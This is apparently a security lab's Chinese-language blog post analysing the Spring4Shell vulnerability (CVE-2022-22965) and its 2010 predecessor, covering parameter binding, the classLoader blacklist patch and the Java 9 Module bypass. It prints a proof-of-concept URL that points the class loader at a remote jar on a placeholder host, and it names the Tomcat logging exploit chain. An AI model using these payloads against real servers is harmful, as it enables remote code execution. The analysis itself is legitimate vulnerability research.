Spring-RCE(CVE-2022-22965)的前世今生

admin 2025年2月20日23:39:31评论13 views字数 3077阅读10分15秒阅读模式

声明

以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

0x01 前言

今天就来说说最近比较火的这个Spring-RCE漏洞,但是今个这文章的标题叫做Spring-RCE的前世今生,那么就得扯扯他的祖宗了CVE-2010-1622,这个2010年就出现的漏洞为啥在2022的今天卷土重来?为啥CVE-2022-22965要在java9+才能实现?在今天这篇文章中就给大家带来答案。

0X02 CVE-2010-1622

这个漏洞出现在2010年可以进行拒绝服务,通用可以进行远程命令执行Spring很早就发布了补丁修复了此漏洞,在此分析为CVE-2022-22965做铺垫。
2.1 关于JavaBean参数绑定
Spring实现了一种操作,通过通过定义java bean对象解析用户的请求实现用户提交的参数和类中的参数进行绑定,进行赋值。
在这里,我们创建一个java bean类:
我们这个User类中的私有属性是name,在testa包中,name属性通过 
public void setName可以被外部访问,拥有一个名为getName()的无参构造方法。
Spring-RCE(CVE-2022-22965)的前世今生

现在创建一个Contorller与User类进行绑定:

Spring-RCE(CVE-2022-22965)的前世今生

通过Spring的@RequsetMapping解析用户请求中的“/login”

此时如果用户提交如下请求:

http://127.0.0.1/login?name=666

那么User对象中的user.name属性将会被设置为666。

在这个自动的过程中spring会自动发现User对象中的public方法和字段,如果user中出现public的一个字段,就自动绑定,并且允许用户提交请求给他赋值。

正是因为我们的User类中存在:

public void setName(String name) {    this.name = name;}

在Spring自动检索后,将我们传递的值设置类给user中的name

接下来我们在原来的User类中添加一个UserSon的内部类:

Spring-RCE(CVE-2022-22965)的前世今生

UserSon中有一个属性为son,如果我们想通过参数绑定的方式实现 user.User-Son.son的属性进行赋值的话。

用户提交Url:
http://localhost/login?UserSon.son=123
这样便可以实现对UserSon,son属性进行赋值。
首先Spring检索到了getUserSon()接下来在UserSon中进入setson()便实现了对son属性的操作。
以上便是参数绑定的操作。通过参数绑定可以实现用户对类属性进行赋值。

2.2 CVE-2010-1622简要分析

通过上面的参数绑定,我们便逐渐接近CVE-2010-1622了,java的所有类都有一个父类,这个类就是Object类,神奇的是这个类中包含一个getclass方法,也就是可以通过参数绑定的方式实现对Object类中的class属性进行操作,但是这样的操作并不足以造成漏洞。

http://localhost/login?class=XXX

但是在class对象中,存在着一个public Class getclassLoader()

对应着classLoader对象,类加载器,

我们通过:

http://localhost/login?class.classloader=XXX来控制类加载器。

在这个类加载器中存在一个getURLs()方法,这个方法可以从远端获取一个tld文件,并将tld文件。

可以通过:

url:jar:http://99.99.99.99/kxlzx.jar!

去下载服务器的一个jar文件,并在jar中找tld文件,并且通过tld文件做Spring自己的标签库进一步解析,解析时允许执行jsp语法,造成了命令执行。

POC:

http://localhost/login?class.classLoader.URLs[0]=jar:http://.polsscs.666.com/exp.jsp!

在这里有个小点提一下就是通过URLs[0]可以实现对象中的数组属性在没有public的set时依旧可以给其赋值,比如:

Spring-RCE(CVE-2022-22965)的前世今生

可见在这个对象的names属性不存在public的set,但是如果用户提交URL:http://localhost/login?name[0]=123依旧可以修改names.names[]的值。

2.3 CVE-2010-1622的补丁

上面的漏洞实际上分析下来,主要还是参数绑定的功能可以获取classLeader类加载器中包含了众多java在解析调用类时用到的属性,并且很多属性都被set后运行被外部调用了。后来Spring发布了补丁。

Spring-RCE(CVE-2022-22965)的前世今生

在CachedIntrospectionResults中。他将请求是class对象,并且请求属性时classLoader加入了黑名单。

0x03 CVE-2022-22965

通过上述分析,我们知道

getclassLoader导致的漏洞已经通过禁止 class.classLoader请求的补丁修复了,但是在接下来的java9及以上版本又因为java添加了Module属性。

3.1 Java Module分析

在JDK9及以上版本中 java.lang.Class对象中添加了getModue可一个对应的对象module。

Spring-RCE(CVE-2022-22965)的前世今生

在Module对象中又存在一个loader变量和 getClassLoader()方法,导致用户可以通过class,Module.classLoader获取classLoader再次造成漏洞。

Spring-RCE(CVE-2022-22965)的前世今生

在对BeanInfo赋值过程中

`CachedIntrospectionResults`会加载

`class-org.apache.catalina.loader.ParallelWebappClassLoader`对象,可以绕过黑名单检查。

.ParallelWebappClassLoader

是Tomcat中的classloader,这也是为什么CVE-2022-22965需要在tomcat容器中才可以的原因。

3.2 CVE-2022-22965复现:

复现环境:

依次发送下面五个请求:

5个请求发送完成以后,就会在web根目录生成csfile.txt

Spring-RCE(CVE-2022-22965)的前世今生

class.module.classLoader.resources.context.parent.pipeline.first.pattern这条利用链实现了对tomcat日志文件配置的更改。

0X04 总结

到文章的最后,实际上CVE-2022-22965产生的原因还是spring被JAVA坑了。导致通过module绕过了原来的CVE-2010-1622补丁的黑名单,于是在新的补丁中,Spring采取了更加严格的过滤,只允许所有类中的name属性合法通过,实现了对漏洞的修复。

Spring-RCE(CVE-2022-22965)的前世今生

实际上在

class.module.classLoader.resources.context中的利用链有很多,后续可能还会有新的利用链出现,但是如果更新了Spring那么就可以避免。

Spring-RCE(CVE-2022-22965)的前世今生
Spring-RCE(CVE-2022-22965)的前世今生
Spring-RCE(CVE-2022-22965)的前世今生

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识

原文始发于微信公众号(长白山攻防实验室):Spring-RCE(CVE-2022-22965)的前世今生

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日23:39:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring-RCE(CVE-2022-22965)的前世今生https://cn-sec.com/archives/1076305.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息